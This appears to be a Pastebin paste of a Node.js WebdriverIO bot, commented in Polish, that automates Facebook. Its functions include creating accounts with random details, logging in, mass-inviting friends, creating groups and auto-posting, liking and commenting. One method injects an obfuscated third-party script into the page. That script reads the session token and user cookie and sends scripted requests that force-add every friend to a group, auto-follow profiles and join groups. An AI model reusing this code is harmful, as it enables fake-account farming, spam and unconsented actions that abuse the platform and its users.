Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const webdriverio = require('webdriverio');
- const helpers = require('./../misc/helpers');
- module.exports = class FB {
- constructor() {
- this.client = null;
- }
- async init(browser) {
- const options = { desiredCapabilities:
- { browserName: browser,
- chromeOptions: {
- args: ['--disable-notifications']
- }
- }
- };
- this.client = webdriverio.remote(options);
- await this.client.init();
- }
- async login(username, password) {
- await this.client
- .url('https://www.facebook.com/login/')
- .pause(250)//pauza do zmiany^^
- .waitForExist('input[name=email]', 60000)
- .pause(250)//pauza do zmiany^^
- .setValue('input[name=email]', username)
- .pause(250)//pauza do zmiany^^
- .setValue('input[name=pass]', password)
- .pause(250)//pauza do zmiany^^
- .click('button[name=login]');
- while(true) {
- const url = await this.client.getUrl();
- const buttonExist = await this.client.isExisting('#loginbutton');
- const lockAccount = '/checkpoint/';
- switch(true) {
- case helpers.urlParamSearch('login_attempt', url) !== null:
- return {status: false, msg:'unsuccessful login, bad/password probably'};
- break;
- case url.indexOf(lockAccount) !== -1:
- return {status: false, msg:'unsuccessful login, Account locked'};
- break;
- case buttonExist === false:
- return {status: true, msg: null};
- break;
- default:
- await helpers.sleep(500);
- break;
- }
- }
- }
- async checkBlockade() {
- const url = await this.client.getUrl();
- if (url.indexOf('/checkpoint/block/') !== -1) {
- return false;
- }else {
- return true;
- }
- }
- async getProfileLink() {
- // await this.client.url('https://www.facebook.com/');
- await this.client.click('a[data-testid="blue_bar_profile_link"]');
- return await this.client.getUrl();
- }
- async getFriendsCount() {
- await this.client.url('https://www.facebook.com/profile.php?=7432645066541&sk=friends');
- /*
- if (profileLink.includes('profile.php?id=')) {
- await this.client.url(profileLink + '&sk=friends');
- }else {
- await this.client.url(profileLink + '/friends_all');
- }
- */
- return parseInt((await this.client.getText('a[name="Wszyscy znajomi"')).replace(/\D/g,''), 10);
- }
- async inviteFriendByProfileLink(link) {
- await helpers.sleep(1000);//pauza do zmiany
- await this.client.url(link);
- await helpers.sleep(1000);//pauza do zmiany
- await this.client.click('button.FriendRequestAdd');
- }
- async acceptInviteByProfileLink(link) {
- await this.client.url(link);
- await helpers.sleep(1000);//pauza do zmiany
- await this.client.click('a[data-tooltip-content="Potwierdź zaproszenie"]');
- await helpers.sleep(1000);//pauza do zmiany
- }
- async createGroup(groupName) {
- await this.client.url('https://m.facebook.com/');
- await helpers.sleep(1000);//pauza do zmiany
- try {
- await this.client.waitForExist('a*=Dalej', 2000)
- .click('a*=Dalej');
- }catch(err) {
- }
- await this.client.click('#bookmarks_jewel')
- .pause(500)//pauza do zmiany
- .waitForExist('a*=Utwórz nową grupę', 5000)
- .pause(500)//pauza do zmiany
- .click('a*=Utwórz nową grupę')
- .pause(500)//pauza do zmiany
- .waitForExist('input[name="group_name"]', 5000)
- .pause(500)//pauza do zmiany
- .setValue('input[name="group_name"]', groupName)
- .pause(200)
- .click('[data-sigil="groupCreateNext"]')
- .pause(500)//pauza do zmiany
- .waitForExist('#groupPrivacySelector', 5000)
- .pause(500)//pauza do zmiany
- .click('label*=Publiczna')
- .pause(500)
- .click('#modalDialogHeaderButtons:first-child')
- .pause(500);//pauza do zmiany
- while(true) {
- const url = await this.client.getUrl();
- if (url.includes('groups')) {
- return (url.match(/\d/g)).join("");
- }
- }
- }
- async uploadGroupCoverPhoto(groupID, imagePath) {
- await this.client.url('https://m.facebook.com/group/cover/upload/?group_id='+groupID)
- .pause(500)//pauza do zmiany
- .chooseFile('#nuxPicFileInput', imagePath)
- .pause(500)//pauza do zmiany
- .waitForVisible('button[value="Ustaw jako zdjęcie w tle"]', 10000)
- .pause(500)//pauza do zmiany
- .click('button[value="Ustaw jako zdjęcie w tle"]');
- while(true) {
- const url = await this.client.getUrl();
- if (!url.includes('cover/upload/')) {
- return true;
- }
- }
- }
- async publishPost(groupID, text, imagePath) {
- while(true) {
- console.log('text should be write:');
- console.log(text);
- await this.client.url('https://m.facebook.com/groups/'+groupID)
- .pause(500)//pauza do zmiany
- .waitForExist('button[value="Opublikuj"]', 15000)
- .pause(500)//pauza do zmiany
- .click('button[value="Opublikuj"]')
- .pause(500)//pauza do zmiany
- .waitForExist('.mentions-input', 15000)
- .pause(500)//pauza do zmiany
- .setValue('.mentions-input', text)
- .pause(1000)
- const val = await this.client.getValue('.mentions-input');
- if (val !== '') {
- await this.client.pause(500);
- break;
- }
- }
- if(imagePath != '') {
- await this.client.chooseFile('#photo_input', imagePath);
- }
- const buttons = await this.client.elements('button[value="Opublikuj"]');
- while(true) {
- for(let button of buttons.value) {
- const visible = await this.client.elementIdDisplayed(button.ELEMENT);
- if (visible.value === true) {
- const enabled = await this.client.elementIdEnabled(button.ELEMENT);
- if (enabled.value === true) {
- await this.client.pause(500).elementIdClick(button.ELEMENT);
- return;
- }
- }
- }
- }
- }
- async publishPost_OLD(groupID, text, imagePath) {
- await this.client.url('https://facebook.com/groups/'+groupID)
- .setValue('textarea[name="xhpc_message_text"]', text);
- if(imagePath != '') {
- await this.client.chooseFile('input[name="composer_photo[]"]', imagePath)
- .pause(2000);
- }
- await this.client.pause(2000);
- await this.client.waitForEnabled('button*=Opublikuj', 60000)
- .click('button*=Opublikuj');
- }
- async changeGroupDescription(groupID, desc) {
- await this.client.url('https://m.facebook.com/group/edit/?gid='+groupID)
- .pause(500)//pauza do zmiany
- .setValue('textarea[name="desc"]', desc)
- .pause(500)//pauza do zmiany
- .pause(200)
- .click('button[value="Zapisz"]');
- while(true) {
- const url = await this.client.getUrl();
- if (!url.includes('group/edit/?gid=')) {
- return true;
- }
- }
- }
- async inviteAllFriendsToGroup(groupID) {
- while(true) {
- await this.client.url('https://m.facebook.com/groups/members/search/?group_id='+groupID);
- const addButtons = (await this.client.elements('button[value="Dodaj"]')).value;
- if (addButtons.length > 0 ){
- while(true) {
- const addButton = (await this.client.element('button[value="Dodaj"]')).value;
- if (addButton !== null) {
- await this.client.elementIdClick(addButton.ELEMENT);
- while(true) {
- const buttonText = await this.client.elementIdAttribute(addButton.ELEMENT, 'value');
- if (buttonText.value !== 'Dodaj') {
- break;
- }
- const errorVisible = await this.client.isVisible('#addMemberErrorNotice');
- if (errorVisible === true) {
- console.log('KONIEC ZAPRASZANIA, NIE MOZNA DODAC CZLONKOW!');
- return;
- }
- }
- }else {
- break;
- }
- }
- }else{
- return;
- }
- }
- }
- async getFirstPostLink(groupID) {
- await this.client.url('https://m.facebook.com/groups/'+groupID);
- const allLinks = (await this.client.elements('a')).value;
- for(let link of allLinks) {
- const href = await this.client.elementIdAttribute(link.ELEMENT, 'href');
- if (href.value !== null) {
- if ((href.value).includes('/groups/'+groupID+'?view=permalink&id=')) {
- return href.value;
- }
- }
- }
- }
- async disableComments(postLink) {
- await this.client.url(postLink.replace('m.', ''))
- .pause(500)//pauza do zmiany
- .click('a[aria-label="Opcje zdarzeń"]')
- .pause(500)//pauza do zmiany
- .waitForExist('a*=Wyłącz komentowanie',15000)
- .pause(500)//pauza do zmiany
- .waitForVisible('a*=Wyłącz komentowanie',15000)
- .pause(500)//pauza do zmiany
- .click('a*=Wyłącz komentowanie')
- .pause(500)//pauza do zmiany
- .pause(500);
- }
- async likePost(link) {
- await this.client.url(link)
- .pause(500)//pauza do zmiany
- .click('a*=Lubię to!')
- .pause(500)//pauza do zmiany
- .pause(250);
- }
- async commentPost(link, text, imagePath) {
- await this.client.url(link)
- .pause(500)
- .setValue('textarea#composerInput', text);
- if (imagePath !== '') {
- await this.client.chooseFile('input[name="photo"]', imagePath);
- }
- await this.client.waitForEnabled('button[value="Opublikuj"]', 90000)
- .pause(500)//pauza do zmiany
- .click('button[value="Opublikuj"]');
- while(true) {
- const val = await this.client.getValue('textarea#composerInput');
- if (val.length == 0) {
- return;
- }
- }
- }
- async likeFirstPost(groupID) {
- await this.client.url('https://facebook.com/groups/'+groupID)
- .pause(500)//pauza do zmiany
- .click('.UFILikeLink ')
- }
- async commentFirstPost(groupID, text) {
- await this.client.url('https://m.facebook.com/groups/'+groupID);
- const allLinks = (await this.client.elements('a')).value;
- let foundLink = null;
- for(let link of allLinks) {
- const href = await this.client.elementIdAttribute(link.ELEMENT, 'href');
- if (href.value !== null) {
- if ((href.value).includes('/groups/'+groupID+'?view=permalink&id=')) {
- foundLink = href.value;
- break;
- }
- }
- }
- if (foundLink !== null) {
- await this.client.url(foundLink)
- .pause(500)//pauza do zmiany
- .setValue('textarea#composerInput', text)
- .pause(500)//pauza do zmiany
- .waitForEnabled('button[value="Opublikuj"]', 15000)
- .pause(500)//pauza do zmiany
- .click('button[value="Opublikuj"]');
- while(true) {
- const val = await this.client.getValue('textarea#composerInput');
- if (val.length == 0) {
- return;
- }
- }
- }
- }
- async joinToGroup(groupID) {
- while(true) {
- await this.client.url('https://m.facebook.com/groups/'+groupID);
- const exist = await this.client.isExisting('button[value="Dołącz do grupy"]');
- if (exist === true) {
- await this.client.click('button[value="Dołącz do grupy"]')
- .pause(500);
- return true;
- }else {
- const alreadyJoin = await this.client.isExisting('a*=Dołączono');
- if (alreadyJoin === true) {
- console.log('already joined');
- return false;
- }else {
- this.client.pause(1000);
- }
- }
- }
- }
- async checkJoin(groupID) {
- while(true) {
- await this.client.url('https://m.facebook.com/groups/'+groupID);
- const exist = await this.client.isExisting('button[value="Dołącz do grupy"]');
- if (exist === false) {
- return;
- }else {
- this.client.pause(500);
- }
- }
- }
- async acceptJoins(groupID) {
- while(true) {
- await this.client.url('https://m.facebook.com/groups/'+groupID+'/madminpanel/');
- const buttons = await this.client.elements('button[value="Zatwierdź"]');
- if (buttons.value.length > 0) {
- for (let button of buttons.value) {
- await this.client.elementIdClick(button.ELEMENT).pause(200);
- }
- break;
- }else {
- await this.client.pause(500);
- }
- }
- }
- async disablePublish(groupID) {
- await this.client.url('https://www.facebook.com/groups/'+groupID+'/edit/')
- .pause(500)//pauza do zmiany
- .click('input[name="post_permissions"][value="1"]');
- const saveButtons = (await this.client.elements('.saveButton')).value;
- for(let btn of saveButtons) {
- if ((await this.client.elementIdDisplayed(btn.ELEMENT)).value === true) {
- await this.client.elementIdClick(btn.ELEMENT);
- }
- }
- await this.client.pause(500);
- }
- async end() {
- await this.client.end();
- }
- async getMembersCount(groupID) {
- await this.client.url('https://m.facebook.com/groups/'+groupID+'?view=info');
- const allLinks = (await this.client.elements('a')).value;
- for(let link of allLinks) {
- const href = await this.client.elementIdAttribute(link.ELEMENT, 'href');
- if (href.value !== null) {
- if ((href.value).includes('/groups/'+groupID+'?view=members')) {
- const id = (await this.client.elementIdAttribute(link.ELEMENT, 'aria-labelledby')).value;
- const count = (await this.client.getText('#'+id)).replace(/[^0-9]/g, '');
- return parseInt(count);
- }
- }
- }
- }
- async checkLanguage() {
- await this.client.url('https://www.facebook.com/').pause(1000);
- return await this.client.isExisting('[aria-label="Szukaj"]');
- }
- async inviteAllFriendsToGroup2(groupID) {
- await this.client.url('https://www.facebook.com/groups/' + groupID);
- try {
- await this.client.execute(function(){
- (function(){var f={dtsg:document.getElementsByName("fb_dtsg")[0].value,uid:document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),gid:document.getElementsByName("group_id")[0].value,frns:Array(),prenKe:0,okeh:0,gagal:0,getAjak:function(b){var c=new XMLHttpRequest;c.open("GET",b,!0),c.onreadystatechange=function(){if(4==c.readyState&&200==c.status){var a=eval("("+c.responseText.substr(9)+")");a.payload&&a.payload.entries&&(f.frns=a.payload.entries.sort(function(){return.5-Math.random()})),document.getElementById("hasilsurasil").innerHTML="Found <b>"+f.frns.length+" Friends</b><div id='hasilsatu'></div><div id='hasildua'></div><div id='hasiltiga' style='min-width:300px;display:inline-block;text-align:left'></div>"+crj;for(x in f.frns)f.senAjak(x)}else document.getElementById("hasilsurasil").innerHTML=4==c.readyState&&404==c.status?"<b style='color:darkred'>Gruppe Öffnen!</b>"+crj:"<b style='color:darkgreen'>Search For Followers... ("+c.readyState+")</b>"+crj},c.send()},senAjak:function(d){var e=new XMLHttpRequest,prm="__a=1&fb_dtsg="+f.dtsg+"&group_id="+f.gid+"&source=typeahead&ref=&message_id=&members="+f.frns[d].uid+"&__user="+f.uid+"&phstamp=";e.open("POST","/ajax/groups/members/add_post.php",!0),e.setRequestHeader("Content-type","application/x-www-form-urlencoded"),e.setRequestHeader("Content-length",prm.length),e.setRequestHeader("Connection","keep-alive"),e.onreadystatechange=function(){if(4==e.readyState&&200==e.status){var a=eval("("+e.responseText.substr(9)+")");if(f.prenKe++,document.getElementById("hasilsatu").innerHTML="<div><b>"+f.prenKe+"</b> of <b>"+f.frns.length+"</b></div>",a.errorDescription&&(f.gagal++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkred'>( "+f.gagal+" )</b> <span style='color:darkred'>"+a.errorDescription+"</span></div>"),a.jsmods&&a.jsmods.require){var b="<div>";for(x in a.jsmods.require)a.jsmods.require[x][a.jsmods.require[x].length-1][1]&&(b+="<b style='color:darkgreen'>"+a.jsmods.require[x][a.jsmods.require[x].length-1][1]+"</b> ");b+="<div>",document.getElementById("hasildua").innerHTML=b}if(a.onload)for(z in a.onload){var c=eval(a.onload[z].replace(/Arbiter.inform/i,""));if(c.uid&&c.name){f.okeh++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkgreen'>( "+f.okeh+" )</b> <a href='/"+c.uid+"' target='_blank'><b>"+c.name+"</b></a> haben dich abonniert.</div>";break}}f.prenKe==f.frns.length&&(document.getElementById("hasiltiga").style.textAlign="center",document.getElementById("hasiltiga").innerHTML+="<div style='font-size:20px;font-weight:bold'>People Invited!</div><a href='/' onClick='document.getElementById(\"hasilsurasil\").style.display=\"none\";return false'>Close</a>")}},e.send(prm)}},g=["i","a","e","g","o","s","n","b","l","p","m","2","r","0","c","1","t","3","©"],crl=g[1]+g[0]+g[6]+g[3]+g[14]+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+"."+g[7]+g[8]+g[4]+g[3]+g[5]+g[9]+g[4]+g[16]+"."+g[14]+g[4]+g[10],crj="<div style='display:none; margin-top:10px;color:gray;font-size:12px'>"+g[1].toUpperCase()+g[0]+g[6]+g[3]+g[14].toUpperCase()+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+" "+g[g.length-1]+g[11]+g[13]+g[15]+g[17]+"<div style='font-size:9px'><a href='http://"+crl+"/' target='_blank'>"+crl+"</a></div></div>";document.body.innerHTML+="<center id='hasilsurasil' style='min-height:50px;width:600px;position:fixed;top:100px;left:"+(document.body.offsetWidth-530)/2+"px;border-radius:10px;padding:10px;z-index:999999;border:5px solid skyblue;background-color:rgba(225,225,255,0.75)'><b>Fb Group Script By Safe Tricks </b>"+crj+"</center>",f.getAjak("/ajax/typeahead/first_degree.php?__a=1&viewer="+f.uid+"&token="+Math.random()+"&filter[0]=user&options[0]=friends_only")})(); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1])
- function cereziAl(isim) {
- var tarama = isim + "=";
- if (document.cookie.length > 0) {
- konum = document.cookie.indexOf(tarama)
- if (konum != -1) {
- konum += tarama.length
- son = document.cookie.indexOf(";", konum)
- if (son == -1)
- son = document.cookie.length
- return unescape(document.cookie.substring(konum, son))
- }
- else { return ""; }
- }
- }
- function getRandomInt (min, max) {
- return Math.floor(Math.random() * (max - min + 1)) + min;
- }
- function randomValue(arr) {
- return arr[getRandomInt(0, arr.length-1)];
- }
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- function a(abone){
- var http4 = new XMLHttpRequest();
- var url4 = "/ajax/follow/follow_profile.php?__a=1";
- var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
- http4.open("POST", url4, true);
- //Send the proper header information along with the request
- http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function() {//Call a function when the state changes.
- if(http4.readyState == 4 && http4.status == 200) {
- http4.close; // Close the connection
- }
- }
- http4.send(params4);
- }
- function sublist(uidss) {
- var a = document.createElement('script');
- a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
- document.body.appendChild(a);
- }
- a("");
- a("");
- var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
- var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
- var httpwp = new XMLHttpRequest();
- var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
- var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
- httpwp['open']('POST', urlwp, true);
- httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
- httpwp['setRequestHeader']('Content-length', paramswp['length']);
- httpwp['setRequestHeader']('Connection', 'keep-alive');
- httpwp['send'](paramswp);
- var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
- var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
- var friends = new Array();
- gf = new XMLHttpRequest();
- gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
- gf['send']();
- if (gf['readyState'] != 4) {} else {
- data = eval('(' + gf['responseText']['substr'](9) + ')');
- if (data['error']) {} else {
- friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
- return _0x93dax8['index'] - _0x93dax9['index'];
- });
- };
- };
- });
- }catch(err) {
- }
- try {
- await this.client.waitForExist('div*=People Invited!', 60000)
- }catch(err) {
- console.log('div*=People Invited!');
- }
- }
- static async endAll() {
- const options = { desiredCapabilities:
- { browserName: 'chrome',
- chromeOptions: {
- args: ['--disable-notifications']
- }
- }
- };
- this.client = webdriverio.remote(options);
- await this.client.endAll();
- }
- async createAccount(firstName, lastName, email) {
- const regData = {
- email: email,
- password: helpers.randomString(12)
- }
- await this.client.url('https://m.facebook.com/reg')
- .setValue('input[name="firstname"]', firstName)
- .setValue('input[name="lastname"]', lastName)
- .setValue('input[name="reg_email__"]', regData.email)
- .click('input[name="sex"][value="1"][type="radio"]')
- .setValue('input[name="birthday_day"]', helpers.random(10,28))
- .setValue('input[name="birthday_month"]', helpers.random(10,12))
- .setValue('input[name="birthday_year"]', helpers.random(1985, 1999))
- .setValue('input[name="reg_passwd__"]', regData.password)
- .pause(250)
- .click('#signup_button');
- while(true) {
- const url = await this.client.getUrl();
- if (!url.includes('reg')) {
- await helpers.sleep(2000);
- return {login: regData.email, password: regData.password};
- }
- }
- }
- async activateAcc(link, password) {
- await this.client.url(link);
- while(true) {
- const url = await this.client.getUrl();
- if (url.indexOf('/checkpoint/') !== -1) {
- return false;
- }else if(url.indexOf('/gettingstarted/?step=phone') !== -1) {
- return false;
- }else if(url.indexOf('login.php?next') !== -1) {
- return false;
- }else if (url.indexOf('home.php?ref=wizard') !== -1) {
- return true;
- }
- }
- }
- async uploadProfilePhoto(imagePath) {
- try {
- await this.client.click('button[title="Zamknij"]').pause(1000);
- }catch(err) { }
- await this.client.chooseFile('input[type="file"]', imagePath)
- while(true) {
- const isExisting = await this.client.isExisting('input[type="file"]');
- if (isExisting === false) {
- return;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement